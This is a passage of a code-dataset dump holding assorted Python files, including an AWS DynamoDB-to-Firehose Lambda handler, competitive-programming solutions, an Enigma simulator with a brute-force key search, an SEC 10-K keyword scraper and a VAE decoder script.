to_retry.append(records[idx])\n\n logger.warning(\"%s records failed to store, retrying if under limit\", len(to_retry))\n return store_batch(to_retry, retry_count=retry_count+1)\n\n\ndef handler(event, context): # pylint: disable=unused-argument\n \"\"\"\n Handler method that is responsible for putting dynamodb data into firehose\n :param event: AWSEvent\n :param context: AWSContext\n :return: None\n \"\"\"\n try:\n records = event[\"Records\"]\n\n for record in records:\n if record[\"eventSource\"] != \"aws:dynamodb\":\n raise Exception(\"Unknown source type..\")\n except Exception as err:\n logger.error(\"Unable to parse records with err: %s\", err)\n raise err\n\n # firehose batch input\n start = int(time.time() * 1000)\n failed_records = store_batch(records)\n logger.info(\"Firehose batch store took %sms\", int(time.time() * 1000) - start)\n\n if failed_records:\n logger.error(\"TO_RETRY_RECORDS: %s\", len(failed_records))\n for record in failed_records:\n logger.error(\"RECORD: %s\", json.dumps(record))\n\n raise Exception(\"All records failed to store successfully.\")\n","sub_path":"serverless/piper-log/dynamo.py","file_name":"dynamo.py","file_ext":"py","file_size_in_byte":4160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"400826538","text":"\"\"\"\nCode to compute the dilation distances.\n\"\"\"\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport pdb\n\nimport itertools\nimport skimage.morphology as mm\n\n\ndef dilation_distance_lambda(fi, fj, lam=0.0):\n \"\"\"Return the dilation distance at Lambda.\n fi, fj are assumed to have 2 dimensions, i.e shape (n1, n2)\n\n d_{\\lambda}(fi, fj) = min{ n | (fi + lam*1) \\oplus nB >= fj }\n \"\"\"\n assert np.all(fi.shape == fj.shape), \"Dimensions of inputs do not match\"\n\n selem = mm.disk(1)\n nmin, nmax = 0, fi.shape[0]+fi.shape[1]+1\n\n dilated_fi = fi + lam*np.ones(fi.shape)\n for n_dilate in range(nmin, nmax):\n if np.all(dilated_fi >= fj):\n return n_dilate\n else:\n dilated_fi = mm.dilation(dilated_fi, selem)\n raise Exception(\"Dilations of fi never crossed fj!!!!\")\n\n\ndef dilation_distance(fi, fj):\n \"\"\"Return the dilation distance between fi and fj computed using\n the average of all dilation-distances at lambda\n \"\"\"\n\n d_lam = 0\n count = 0\n for lam in np.arange(0, 1, 0.01):\n d_lam += dilation_distance_lambda(fi, fj, lam=lam)\n count += 1\n\n return d_lam/count\n\n\ndef get_dilation_distances_all_pairs(img):\n \"\"\"\n \"\"\"\n sx, sy, sz = img.shape\n DD = np.zeros((sz, sz), dtype=np.float64)\n for i in range(sz):\n for j in range(sz):\n if i != j:\n DD[i, j] = dilation_distance(img[:, :, i], img[:, :, j])\n elif i == j:\n DD[i, j] = 0\n return DD\n\n\ndef select_bands_dilation_distance_dynamic(DD, num_bands_select=3):\n \"\"\"Select the bands obtained by dilation distance\n\n DD : 2d array containing the dilation distances\n\n ** Diagonals are assumed to have the value 1e56\n \"\"\"\n\n nbands = DD.shape[0]\n bandwidth = 10\n\n # Initialize the set of 2-subsets to check\n list_subsets = []\n val_subsets = []\n values_list = np.sort(np.unique(DD.flatten()))[(-bandwidth-1):-1]\n for val in values_list[::-1]:\n indx, indy = np.where(DD == val)\n for i in range(len(indx)):\n list_subsets.append(set([indx[i], indy[i]]))\n val_subsets.append(val)\n # Break if the bandwidth is reached\n if len(list_subsets) > bandwidth:\n break\n # Break if the bandwidth is reached\n if len(list_subsets) > bandwidth:\n break\n\n # For each subset select the best bands to add and\n # update the list_subsets\n list_subsets_new = list_subsets\n val_subsets_new = val_subsets\n for _ in range(num_bands_select-2):\n list_subsets = list_subsets_new\n val_subsets = val_subsets_new\n\n list_subsets_new = [None]*bandwidth\n val_subsets_new = [-1*np.inf]*bandwidth\n for i in range(nbands):\n for subset in list_subsets:\n if i in subset:\n continue\n set_tmp = tuple(subset.union(set([i])))\n val = np.min(DD[set_tmp, :][:, set_tmp])\n if val >= np.min(val_subsets_new):\n ind_replace = np.argmin(val_subsets_new)\n list_subsets_new[ind_replace] = set(set_tmp)\n val_subsets_new[ind_replace] = val\n print(\"\\r {}\".format(_), end=\"\")\n print(\"\\nBest value is {}\".format(np.max(val_subsets_new)))\n return list_subsets_new\n","sub_path":"DilationDistances.py","file_name":"DilationDistances.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"483709415","text":"import sys\n\nstdin = sys.stdin\ndef na(): return map(int, stdin.readline().split())\ndef ns(): return stdin.readline().strip()\n\n\nn,ma,mb = na()\nabcs = []\nfor i in range(n):\n abcs.append(list(na()))\nI = 9999999999\ndp = [[I]*420 for _ in range(420)]\ndp[0][0] = 0\nsa = 1; sb = 1\nfor abc in abcs:\n for i in range(sa-1,-1,-1):\n for j in range(sb-1,-1,-1):\n dp[i+abc[0]][j+abc[1]] = min(dp[i+abc[0]][j+abc[1]], dp[i][j] + abc[2])\n sa += abc[0]\n sb += abc[1]\nx = ma\ny = mb\nret = I\nwhile x < 420 and y < 420:\n ret = min(ret, dp[x][y])\n x += ma\n y += mb\nif ret == I:\n print(-1)\nelse:\n print(ret)","sub_path":"work/atcoder/abc/abc054/D/answers/104068_wi.py","file_name":"104068_wi.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"162034536","text":"__author__ = \"Doan Phan Thanh\"\n'''\nProblem WordMaxLength\nhttp://oj.hueuni.edu.vn/practice/problem/174/details\n'''\n\nfrom sys import stdin, stdout\n\ndef main():\n '''\n @param\n @return\n '''\n t = int(input())\n for _ in range(t):\n s = stdin.readline()\n smax = 0\n sub = 0\n for i in s:\n if not i == \",\" and not i == \" \" and not i == \";\" and not i == \":\" and not i == \".\":\n sub += 1\n else:\n if sub > smax:\n smax = sub\n sub = 0\n if sub > smax:\n smax = sub\n print(\"%d\\n\" % smax)\n \nmain()\n","sub_path":"WordMaxLength_174.py","file_name":"WordMaxLength_174.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"387941813","text":"from survey.models import Investigator\n\n\nclass ExportInvestigatorsService:\n\n def __init__(self, export_fields):\n self.investigators = Investigator.objects.all()\n self.HEADERS = export_fields\n\n def formatted_responses(self):\n _formatted_responses = [','.join([entry.upper() for entry in self.HEADERS])]\n for investigator in self.investigators:\n _formatted_responses.append(','.join([\"%s\"%str(investigator.__dict__.get(entry, '')) for entry in self.HEADERS]))\n return _formatted_responses\n\n","sub_path":"survey/services/export_investigators.py","file_name":"export_investigators.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"298603614","text":"from collections import deque\nfrom random import random\n\n\ndef str2num(zeichenkette):\n return [ord(c) - 65 for c in zeichenkette]\n\n\nwalzen_r = ['EKMFLGDQVZNTOWYHXUSPAIBRCJ', # I\n 'AJDKSIRUXBLHWTMCQGZNPYFVOE', # II\n 'BDFHJLCPRTXVZNYEIWGAKMUSQO', # III\n 'ESOVPZJAYQUIRHXLNFTGKDCMWB', # IV\n 'VZBRGITYUPSDNHLXAWMJQOFECK', # V\n 'JPGVOUMFYQBENHZRDKASXLICTW', # VI\n 'NZJHGRCXMYSWBOUFAIVLPEKQDT', # VII\n 'FKQHTLXOCBJSPDZRAMEWNIUYGV'] # VIII\nwalzen_r = [deque(str2num(zeile)) for zeile in walzen_r]\nwalzen_l = deque(range(26))\n\nUKWs = ['EJMZALYXVBWFCRQUONTSPIKHGD', # UKW A\n 'YRUHQSLDPXNGOKMIEBFZCWVJAT', # UKW B\n 'FVPJIAOYEDRZXWGCTKUQSBNMHL'] # UKW C\nUKWs = [str2num(zeile) for zeile in UKWs]\n\nkerbenKat = \"Q E V J Z ZM ZM ZM\"\nkerbenKat = [str2num(zeile) for zeile in kerbenKat.split()]\n\n\nclass Walze():\n def __init__(self, nr, w_pos, r_pos):\n self.w_pos = w_pos\n self.r_pos = r_pos\n self.verdr_r = walzen_r[nr].copy()\n self.verdr_l = walzen_l.copy()\n self.kerben = kerbenKat[nr]\n self.setup()\n\n def setup(self):\n offset = self.r_pos - self.w_pos\n self.verdr_l.rotate(offset)\n self.verdr_r.rotate(offset)\n self.kerben = [(k - self.r_pos) % 26 for k in self.kerben]\n\n def click(self):\n self.verdr_l.rotate(-1)\n self.verdr_r.rotate(-1)\n\n def schaltung(self):\n return self.verdr_l[0] in self.kerben\n\n\nclass Enigma():\n def __init__(self):\n self.walzen = []\n self.ukw = []\n self.steckerbr = {}\n\n def setup(self, nr_ukw, nr_walzen, w_pos, r_pos, paare_steckerbr):\n for i, nr in enumerate(nr_walzen):\n wpos = ord(w_pos[i]) - 65\n rpos = r_pos[i] - 1\n self.walzen.append(Walze(nr - 1, wpos, rpos))\n self.ukw = UKWs[nr_ukw - 1]\n for a, b in paare_steckerbr.split():\n self.steckerbr[ord(a) - 65] = ord(b) - 65\n self.steckerbr[ord(b) - 65] = ord(a) - 65\n\n def rotiere(self):\n links, mitte, rechts = self.walzen\n if mitte.schaltung():\n mitte.click()\n links.click()\n elif rechts.schaltung():\n mitte.click()\n rechts.click()\n\n\ndef umwandeln(e, text):\n u_text = \"\"\n text = text.upper()\n for c in text:\n c = ord(c) - 65\n if c < 0 or c > 26: continue\n e.rotiere()\n c = e.steckerbr.get(c, c)\n for w in reversed(e.walzen):\n c = w.verdr_r[c]\n c = w.verdr_l.index(c)\n c = e.ukw[c]\n for w in e.walzen:\n c = w.verdr_l[c]\n c = w.verdr_r.index(c)\n c = e.steckerbr.get(c, c)\n u_text += chr(c + 65)\n return u_text\n\n\ndef run(ukw, walze1, walze2, walze3, walzenPos, ringPosW1, ringPosW2, ringPosW3, steckerbrett, text):\n ukw = int(ukw)\n walze1 = int(walze1)\n walze2 = int(walze2)\n walze3 = int(walze3)\n ringPosW1 = int(ringPosW1)\n ringPosW2 = int(ringPosW2)\n ringPosW3 = int(ringPosW3)\n\n walzen = [walze1, walze2, walze3]\n ringPos = [ringPosW1, ringPosW2, ringPosW3]\n\n enigma = Enigma()\n enigma.setup(ukw, walzen, walzenPos, ringPos, steckerbrett)\n erg = umwandeln(enigma, text)\n return erg\n\n\ndef bruteforce(text, word, steckerbrett):\n import time\n word = word.upper()\n walzen_pos = []\n\n for a in range(26):\n for b in range(26):\n for c in range(26):\n walzen_pos.append(chr(a + 65) + chr(b + 65) + chr(c + 65))\n ergC = []\n wordC = []\n for c in word:\n wordC.append(c)\n\n start = time.time()\n for ukw in range(1, 4):\n for walze1 in range(1, 9):\n for walze2 in range(1, 9):\n for walze3 in range(1, 9):\n for pos in walzen_pos:\n for ringPosW1 in range(1, 27):\n for ringPosW2 in range(1, 27):\n for ringPosW3 in range(1, 27):\n erg = run(ukw, walze1, walze2, walze3, pos, ringPosW1, ringPosW2, ringPosW3,\n steckerbrett, text)\n\n ergC = []\n\n for c in erg:\n ergC.append(c)\n\n for i in range(len(ergC) - len(wordC) + 1):\n z = ergC[i: len(wordC) + i]\n s = \"\".join(z)\n\n if s == word:\n end = time.time()\n time = end - start\n print(i)\n print(\"UKW\", ukw)\n print(\"walze 1\", walze1)\n print(\"walze 2\", walze2)\n print(\"walze 3\", walze3)\n print(\"walzenPos\", pos)\n print(\"walzeRing1\", ringPosW1)\n print(\"walzeRing2\", ringPosW2)\n print(\"walzeRing3\", ringPosW3)\n print(time)\n print(\"Finised\")\n exit(0)\n\n\n\n\n","sub_path":"algorithm/enigma_smarter_crack_knowledge.py","file_name":"enigma_smarter_crack_knowledge.py","file_ext":"py","file_size_in_byte":5514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"558863672","text":"import sys\ncaso = 0\nwhile True:\n try:\n numSequencia = int(sys.stdin.readline())\n caso += 1\n totSequencia = [0, ]\n for cont in range(0, numSequencia + 1):\n\n for cont2 in range(0, cont):\n totSequencia.append(cont)\n tamanho = len(totSequencia)\n if len(totSequencia) == 1:\n sys.stdout.write(\"Caso {}: {} numero\\n0\\n\\n\".format(caso, tamanho))\n else:\n sys.stdout.write(\"Caso {}: {} numeros\\n\".format(caso, tamanho))\n sys.stdout.write(' '.join(map(str, totSequencia)) + '\\n\\n')\n except:\n break;","sub_path":"2028 - Sequência de Sequência.py","file_name":"2028 - Sequência de Sequência.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"162340287","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[15]:\n# 匯入csv檔必須跟python此檔同一個位置\n\nfrom bs4 import BeautifulSoup\nimport requests\nfrom lxml import etree\nimport re\nimport csv\nimport os\n\n\n#--------------------\n#取得該網址連結的html\n#--------------------\n\ndef get_html(url):\n\ttry:\n\t\tuser_agent = 'Mozilla/5.0'\n\t\tresp = requests.get(url, headers={'User-Agent': user_agent}, timeout = 30) #回傳為一個request.Response的物件\n\t\tresp.endcoding = 'utf8'\n\t\t# print(resp.text)\n\t\treturn resp.text\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#轉成文字(requests套件的一個功能)只要文字的部分(?\n\texcept:\n\t\treturn 'ERROR'\n\n\n#--------------------\n#辨認出每間公司10-K連結所在的網址\n#--------------------\n\n#每個cikcode所在url的邏輯\ndef get_url(cikcode):\n\turl = \"https://www.sec.gov/cgi-bin/browse-edgar?action=getcompany&CIK=\" + str(cikcode) + \"&type=10-k&dateb=&owner=exclude&count=40\"\n\treturn url\n\n\n#--------------------\n#把個別公司的各年度url加入到一個該公司專屬的list\n#輸出為該公司10-K所在位置的html list\n#--------------------\n\ndef get_url_list(cikcode, year_list):\n\turl = get_url(cikcode)\n\tresp_text = get_html(url)\n\tsoup = BeautifulSoup(resp_text,\"html.parser\")\t\t\t\t\t#轉為python可讀的指令,且包含位階\n\tsel = soup.select(\"table.tableFile2 tr\")\n\turl_list = []\n\tdocument_list = []\n\tfor i in sel:\n\t\tif i.a == None:\t\t\t\t\t\t\t\t\t\t\t\t#????????????????? a = 超連結????\n\t\t\tcontinue\n\t\tlink = str(i.a[\"href\"])\t\t\t\t\t\t\t\t\t\t#href: a這個超連結連到的網址\n\n\t\t#----------\n\t\t#已可選擇所需的公司年度,但只能輸入年度後兩碼 (if '-17-' in link or '-18-' in link: #年份2017、2018)\n\t\t#----------\n\t\tfor i in range(len(year_list)) :\n\t\t\tif \"-\" + str(year_list[i]) + \"-\" in link : #決定想要那些年分\n\t\t\t\tlink_name = 'https://www.sec.gov'+ link\n\t\t\t\turl_list.append(link_name)\n\tif len(url_list) !=0:\n\t\tfor i in url_list:\n\t\t\tresp_text = get_html(i)\n\t\t\tsoup = BeautifulSoup(resp_text,\"html.parser\")\n\t\t\tsel = soup.select(\"table.tableFile tr\")\n\t\t\tfor i in sel:\n\t\t\t\tif '10-K' in i.text and \"10-K/A\" not in i.text :\t\t\t#僅限定將10-K文件抓下來,但不要10-K/A\n\t\t\t\t\tlink = 'https://www.sec.gov'+str(i.a[\"href\"])\n\t\t\t\t\tdocument_list.append(link)\n\n\treturn document_list\n\n\n#--------------------\n#透過該公司10-K的html檔,取得該公司當年度文章,並加入一個list\n#--------------------\n\ndef get_article(document_list):\n\tall_article = []\n\tfor k in document_list:\n\t\ttext = get_html(k)\n\t\thtml = etree.HTML(text)\n\t\tno_use_content = html.xpath('//*/text()')\n\n\t\tcontent = str()\n\t\tparagraph = str()\n\n\t\tfor i in no_use_content :\n\t\t\tfor ch in i :\n\n\t\t\t\tif ch == \" \" or (33 <= ord(ch) <= 125) or ch == \"\\n\" :\n\t\t\t\t\tparagraph += ch\n\n\t\t\tparagraph = \" \".join(re.split(r\"\\s+\", paragraph))\n\n\t\t\ttry :\n\t\t\t\tparagraph = int(paragraph)\n\n\t\t\t\tparagraph = str()\n\n\t\t\texcept :\n\t\t\t\tcontent += paragraph\n\t\t\t\tcontent = content.strip(\" \")\n\t\t\t\tcontent = content.strip(\"\\n\")\n\t\t\t\tcontent += \"\\n\"\n\n\t\t\t\tparagraph = str()\n\n\t\tall_article.append(content)\n\treturn all_article\n\n\n#--------------------\n#讀入input的彙總公司代碼的csv檔,並轉為一個list\n#小問題:code_list[0]會是 \"cikcode\"\n#--------------------\n\ndef read_csv():\n\tcode_list = []\n\twith open(fn, newline = \"\") as csvfile : #fn是匯入的檔案路徑 #crawltest0426.csv 是匯入的檔名\n\t\trows = csv.reader(csvfile)\n\t\t# print(rows)\n\t\tfor row in rows:\n\t\t\tcode_list.append(row)\n\treturn code_list\n\n\n#--------------------\n#爬蟲主程式\n#--------------------\n\ndef start_crawling(year_list):\n\t# try:\n\tcode_list = read_csv()\n\n\t#測試用\n\tprint(code_list)\n\n\tall_article = []\n\tall_url = []\n\t# createFolder(str(path))\n\tfor i in range(1,len(code_list)):\n\t\tdocument_list = get_url_list(code_list[i][0], year_list)\n\t\tarticle = get_article(document_list)\n\t\t# write_article(code_list[i][0], article, year_list)\n\t\t# write_url(code_list[i][0], document_list, year_list)\n\t\tall_article.append(article)\n\t\tall_url.append(document_list)\n\n\t\t#print(type(article))\n\t\t#print(document_list)\n\n\t\t#測試用\n\t\t# print(document_list)\n\n\t#測試用\n\t# print(all_url)\n\n\tcode_year_list = code_year(code_list, year_list)\n\tcode_year_article_list = code_year_article(all_article, code_list, year_list)\n\tcode_year_url_list = code_year_url(all_url, code_list, year_list)\n\tprint(code_year_list)\n\t# print(code_year_article_list[0][0])\n\tprint(code_year_url_list)\n\n\treturn all_article\n\n\n\t# return code_year_list, code_year_article_list, code_year_url_list\n\t# except:\n\t# print(\"ERROR\")\n\n\ndef code_year(code_list, year_list) :\n\ttemp_code_year = []\n\tcode_year_list = []\n\n\tfor i in range(1, len(code_list)) :\n\t\tfor j in range(len(year_list)) :\n\t\t\tcode_year = str(code_list[i][0]) + \"-\" + str(year_list[j])\n\t\t\ttemp_code_year.append(code_year)\n\n\t\tcode_year_list.append(temp_code_year)\n\t\ttemp_code_year = []\n\n\treturn code_year_list\n\n\ndef code_year_article(all_article, code_list, year_list) :\n\ttemp_article = []\n\tcode_year_article_list = []\n\n\tfor i in range(1, len(code_list)) :\n\t\tfor j in range(len(year_list)) :\n\t\t\ttemp_article.append(all_article[j])\n\n\t\tcode_year_article_list.append(temp_article)\n\n\t\ttemp_article = []\n\n\treturn code_year_article_list\n\n\ndef code_year_url(all_url, code_list, year_list) :\n\ttemp_url = []\n\tcode_year_url_list = []\n\n\tfor i in range(len(code_list) - 1) :\n\t\tfor j in range(len(year_list)) :\n\t\t\ttemp_url.append(all_url[i][j])\n\n\t\tcode_year_url_list.append(temp_url)\n\n\t\ttemp_url = []\n\n\treturn code_year_url_list\n\n#------------------------------------------------------------------------------\n\n#匯入整個公司代碼的csv檔案\nfn = input(\"請匯入公司代碼的csv檔:\").strip('\"')\n\n#在視窗選取所要的年度\nyear_list = input(\"請選取所需年分 (以逗點分離):\").split(\",\")\n\n#觸發爬蟲主程式,並把 return 出的 all_article 指派到 all_article\nall_article = start_crawling(year_list)\n\n\n\n#=================================================================================================================\ndef matchcase(word):\n def replace(m):\n highlight_start = str('<<< ')\n highlight_end = str(' >>>')\n text = m.group()\n if text.isupper():\n return highlight_start + word.upper() + highlight_end\n elif text.islower():\n return highlight_start + word.lower() + highlight_end\n elif text[0].isupper():\n return highlight_start + word.capitalize() + highlight_end\n else:\n return highlight_start + word + highlight_end\n return replace\n\n\ndef noSpaceLow(Str):\n \"\"\"把子串中的空格都改成一格然後全部變小寫\"\"\"\n ans = Str.split()\n newStr = \"\"\n for i in range(len(ans)):\n newStr += ans[i]\n if i != len(ans) - 1:\n newStr += \" \"\n return newStr.lower()\n\n\n#--------------------\n#在電腦中建立儲存文件之資料夾\n#--------------------\ndef createFolder(directory):\n\ttry:\n\t\tif not os.path.exists(directory):\n\t\t\tos.makedirs(directory)\n\texcept OSError:\n\t\tprint ('Error: Creating directory. ' + directory)\n\n\n#--------------------\n#將文件寫入txt檔並命名為 \"公司名稱_result\"\n#這邊有個前提是:code_list 中的公ㄒ代碼順序,必須和 all_companies_results 中的文本順序100%對應,不然全部都匯錯位!(兩 list 長度也必須一樣!)\n#--------------------\ndef write_article(all_companies_results) :\n\tcode_list = read_csv()\n\tfor i in range(len(all_companies_results)) :\n\t\tname = str(path) + \"/\" + code_list[i + 1][0] + \"_result\" + \".txt\" #C:\\Users\\ewp52\\Desktop\\10-k_data/\n\t\twith open(name,'w+') as file:\n\t\t\tfor j in range(len(all_companies_results[i])):\n\t\t\t\tfile.write(all_companies_results[i][j])\n\t\t\t\tfile.write('\\n')\n\n#------------------------------------------------------------------------------\n\nsearch = noSpaceLow(input('請輸入關鍵字:'))\nsentencecount = int(input('請輸入欲瀏覽的前後段落數:'))\npath = input(\"請指定檔案匯出路徑:\").strip('\"') + \"\\\\10-k_matching_result\"\n#resultcompanynum = input(\"請輸入一份檔案須包含幾家公司的結果:\")\n\n\nall_companies_results = [] # 內容物為多個 公司list,每個 公司list 為「該家公司所有年分 match 文本與 No_match」\nfor m in range(len(all_article)): # 每個 m 為一家公司\n\tone_company_all_years = []\n\tfor n in range(len(all_article[m])): # 每個 n 為一個年度\n\t\tlines = all_article[m][n].split(\"\\n\")\n\t\t# result = []\n\t\t#-----------\n\t\t#待加入公司cikcode跟url(標題)\n\t\t#-----------\n\t\tmatchcount = 0\n\t\tfor i in range(len(lines)):\n\t\t\tline = noSpaceLow(lines[i])\n\t\t\tif search in line:\n\t\t\t\tmatchcount += 1\n\t\t\t\tout = \"----Match %d\\n\" % matchcount\n\t\t\t\tfor j in range(sentencecount * -1, sentencecount + 1): #j跑-1, 0, 1\n\t\t\t\t\tif j < 0:\n\t\t\t\t\t\tif i + j < 0:\n\t\t\t\t\t\t\t# 處理的是:文本第一段前面不存在的段落\n\t\t\t\t\t\t\tout += \" 前%d段:\\n\" % (j * -1)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tout += \" 前%d段:%s\\n\" % (j * -1, re.sub(search, matchcase(search), lines[i + j], flags=re.IGNORECASE).strip())\n\t\t\t\t\telif j == 0:\n\t\t\t\t\t\tout += \" 主段:%s\\n\" % (re.sub(search, matchcase(search), lines[i + j], flags=re.IGNORECASE).strip())\n\t\t\t\t\telse:\n\t\t\t\t\t\tif i + j > len(lines) - 1:\n\t\t\t\t\t\t\t# 處理的是:文本最後一段後面不存在的段落\n\t\t\t\t\t\t\tif j == sentencecount:\n\t\t\t\t\t\t\t\tout += \" 後%d段:\\n\\n\" % (j)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tout += \" 後%d段:\\n\" % (j)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif j == sentencecount:\n\t\t\t\t\t\t\t\tout += \" 後%d段:%s\\n\\n\" % (j, re.sub(search, matchcase(search), lines[i + j], flags=re.IGNORECASE).strip())\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tout += \" 後%d段:%s\\n\" % (j, re.sub(search, matchcase(search), lines[i + j], flags=re.IGNORECASE).strip())\n\n\t\t\t\tone_company_all_years.append(out)\n\n\t\tif matchcount == 0:\n\t\t\tone_company_all_years.append(\"No_match\")\n\n\tall_companies_results.append(one_company_all_years)\n\n\n\t# if len(company_article_set) == resultcompanynum * len(year_list):\n\t# \tuser_request_set.append(company_article_set)\n\t# \tcompany_article_set.clear()\n\n\t\t# for i in range(len(result)):\n\t\t# \tprint(result[i], end = \"\")\n\n# print(len(all_companies_results))\n\n\ncreateFolder(str(path))\nwrite_article(all_companies_results)\n","sub_path":"find_keyword_0605_1.py","file_name":"find_keyword_0605_1.py","file_ext":"py","file_size_in_byte":10160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"310261398","text":"# Dependencies\nimport tensorflow as tf\nimport numpy as np\nimport cv2\nimport os, sys, re\nimport time\n\n\n# Load MNIST\nfrom tensorflow.examples.tutorials.mnist import input_data\nmnist = input_data.read_data_sets('/tmp/data', one_hot = True)\n\n\n# Parameters\nIMG_SIZE = 28*28 # MNIST Image Size, Linearized\nLATENT_DIM = 7\nHIDDEN_DIM = 500\nITR = 100000 + 1\nRECORD_ITR = 5000\nDISPLAY_ITR = 10\nPKEEP = 0.7\nLR = 0.001\nVAE_LR = 0.001\nattribute_LR = 0.001\nBATCH_SIZE = 64\n\n\n# Reset the graph\ntf.reset_default_graph()\n\n\n# Placeholders and variables\n# X = tf.placeholder(tf.float32, shape = [None, IMG_SIZE], name = 'X')\n# ENC_W1 = tf.get_variable(shape = [IMG_SIZE, HIDDEN_DIM], name = 'ENC_W1')\n# ENC_B1 = tf.get_variable(shape = [HIDDEN_DIM], name = 'ENC_B1')\n# ENC_W2 = tf.get_variable(shape = [HIDDEN_DIM, HIDDEN_DIM], name = 'ENC_W2')\n# ENC_B2 = tf.get_variable(shape = [HIDDEN_DIM], name = 'ENC_B2')\n# SAM_W_mu = tf.get_variable(shape = [HIDDEN_DIM, LATENT_DIM], name = 'SAM_W_mu')\n# SAM_B_mu = tf.get_variable(shape = [LATENT_DIM], name = 'SAM_B_mu')\n# SAM_W_logstd = tf.get_variable(shape = [HIDDEN_DIM, LATENT_DIM], name = 'SAM_W_logstd')\n# SAM_B_logstd = tf.get_variable(shape = [LATENT_DIM], name = 'SAM_B_logstd')\nDEC_W1 = tf.get_variable(shape = [LATENT_DIM, HIDDEN_DIM], name = 'DEC_W1')\nDEC_B1 = tf.get_variable(shape = [HIDDEN_DIM], name = 'DEC_B1')\nDEC_W2 = tf.get_variable(shape = [HIDDEN_DIM, HIDDEN_DIM], name = 'DEC_W2')\nDEC_B2 = tf.get_variable(shape = [HIDDEN_DIM], name = 'DEC_B2')\nOUT_W1 = tf.get_variable(shape = [HIDDEN_DIM, IMG_SIZE], name = 'OUT_W1')\nOUT_B1 = tf.get_variable(shape = [IMG_SIZE], name = 'OUT_B1')\nZ = tf.placeholder(tf.float32, shape = [None, LATENT_DIM])\n\n\n# Define session and saver\nsaver = tf.train.Saver()\nsess = tf.Session()\nsaver.restore(sess, \"Models/Iteration_60000/Intermediate_Model_60000\")\n\n\n# Define decoder forward pass\nY_5 = tf.add(tf.matmul(Z, DEC_W1), DEC_B1)\nY_6 = tf.nn.tanh(Y_5)\nY_6_1 = tf.nn.dropout(Y_6, PKEEP)\nY_7 = tf.add(tf.matmul(Y_6_1, DEC_W2), DEC_B2)\nY_8 = tf.nn.relu(Y_7)\nY_8_1 = tf.nn.dropout(Y_8, PKEEP)\nY_REC_1 = tf.add(tf.matmul(Y_8_1, OUT_W1), OUT_B1)\nY_REC = tf.nn.sigmoid(Y_REC_1)\n\n\n# Define individual inputs!!\nall_zero = np.reshape(np.array([1, 1, 1, 1, 1, 1, 0]), [1, 7])\n# all_zero_0 = np.reshape(np.array([1, 0, 0, 0, 0, 0, 0]), [1, 7])\n# all_zero_1 = np.reshape(np.array([0, 1, 0, 0, 0, 0, 0]), [1, 7])\n# all_zero_2 = np.reshape(np.array([0, 0, 1, 0, 0, 0, 0]), [1, 7])\n# all_zero_3 = np.reshape(np.array([0, 0, 0, 1, 0, 0, 0]), [1, 7])\n# all_zero_4 = np.reshape(np.array([0, 0, 0, 0, 1, 0, 0]), [1, 7])\n# all_zero_5 = np.reshape(np.array([0, 0, 0, 0, 0, 1, 0]), [1, 7])\n# all_zero_6 = np.reshape(np.array([0, 0, 0, 0, 0, 0, 1]), [1, 7])\n# zero = np.reshape(np.array([1, 1, 1, 0, 1, 1, 1]), [1, 7])\n# one = np.reshape(np.array([0, 0, 1, 0, 0, 1, 0]), [1, 7])\n# two = np.reshape(np.array([1, 0, 1, 1, 1, 0, 1]), [1, 7])\n# three = np.reshape(np.array([1, 0, 1, 1, 0, 1, 1]), [1, 7])\n# four = np.reshape(np.array([0, 1, 1, 1, 0, 1, 0]), [1, 7])\n# five = np.reshape(np.array([1, 1, 0, 1, 0, 1, 1]), [1, 7])\n# six = np.reshape(np.array([1, 1, 0, 1, 1, 1, 1]), [1, 7])\n# seven = np.reshape(np.array([1, 0, 1, 0, 0, 1, 0]), [1, 7])\n# eight = np.reshape(np.array([1, 1, 1, 1, 1, 1, 1]), [1, 7])\n# nine = np.reshape(np.array([1, 1, 1, 1, 0, 1, 0]), [1, 7])\nall_zero_ = sess.run(Y_REC, feed_dict = { Z : all_zero })\n# all_zero_0_ = sess.run(Y_REC, feed_dict = { Z : all_zero_0 })\n# all_zero_1_ = sess.run(Y_REC, feed_dict = { Z : all_zero_1 })\n# all_zero_2_ = sess.run(Y_REC, feed_dict = { Z : all_zero_2 })\n# all_zero_3_ = sess.run(Y_REC, feed_dict = { Z : all_zero_3 })\n# all_zero_4_ = sess.run(Y_REC, feed_dict = { Z : all_zero_4 })\n# all_zero_5_ = sess.run(Y_REC, feed_dict = { Z : all_zero_5 })\n# all_zero_6_ = sess.run(Y_REC, feed_dict = { Z : all_zero_6 })\n# zero_ = sess.run(Y_REC, feed_dict = { Z : zero })\n# one_ = sess.run(Y_REC, feed_dict = { Z : one })\n# two_ = sess.run(Y_REC, feed_dict = { Z : two })\n# three_ = sess.run(Y_REC, feed_dict = { Z : three })\n# four_ = sess.run(Y_REC, feed_dict = { Z : four })\n# five_ = sess.run(Y_REC, feed_dict = { Z : five })\n# six_ = sess.run(Y_REC, feed_dict = { Z : six })\n# seven_ = sess.run(Y_REC, feed_dict = { Z : seven })\n# eight_ = sess.run(Y_REC, feed_dict = { Z : eight })\n# nine_ = sess.run(Y_REC, feed_dict = { Z : nine })\ncv2.imwrite('temp00001.jpg', np.reshape(all_zero_, [28, 28, 1])*255)\n# cv2.imwrite('temp00001.jpg', 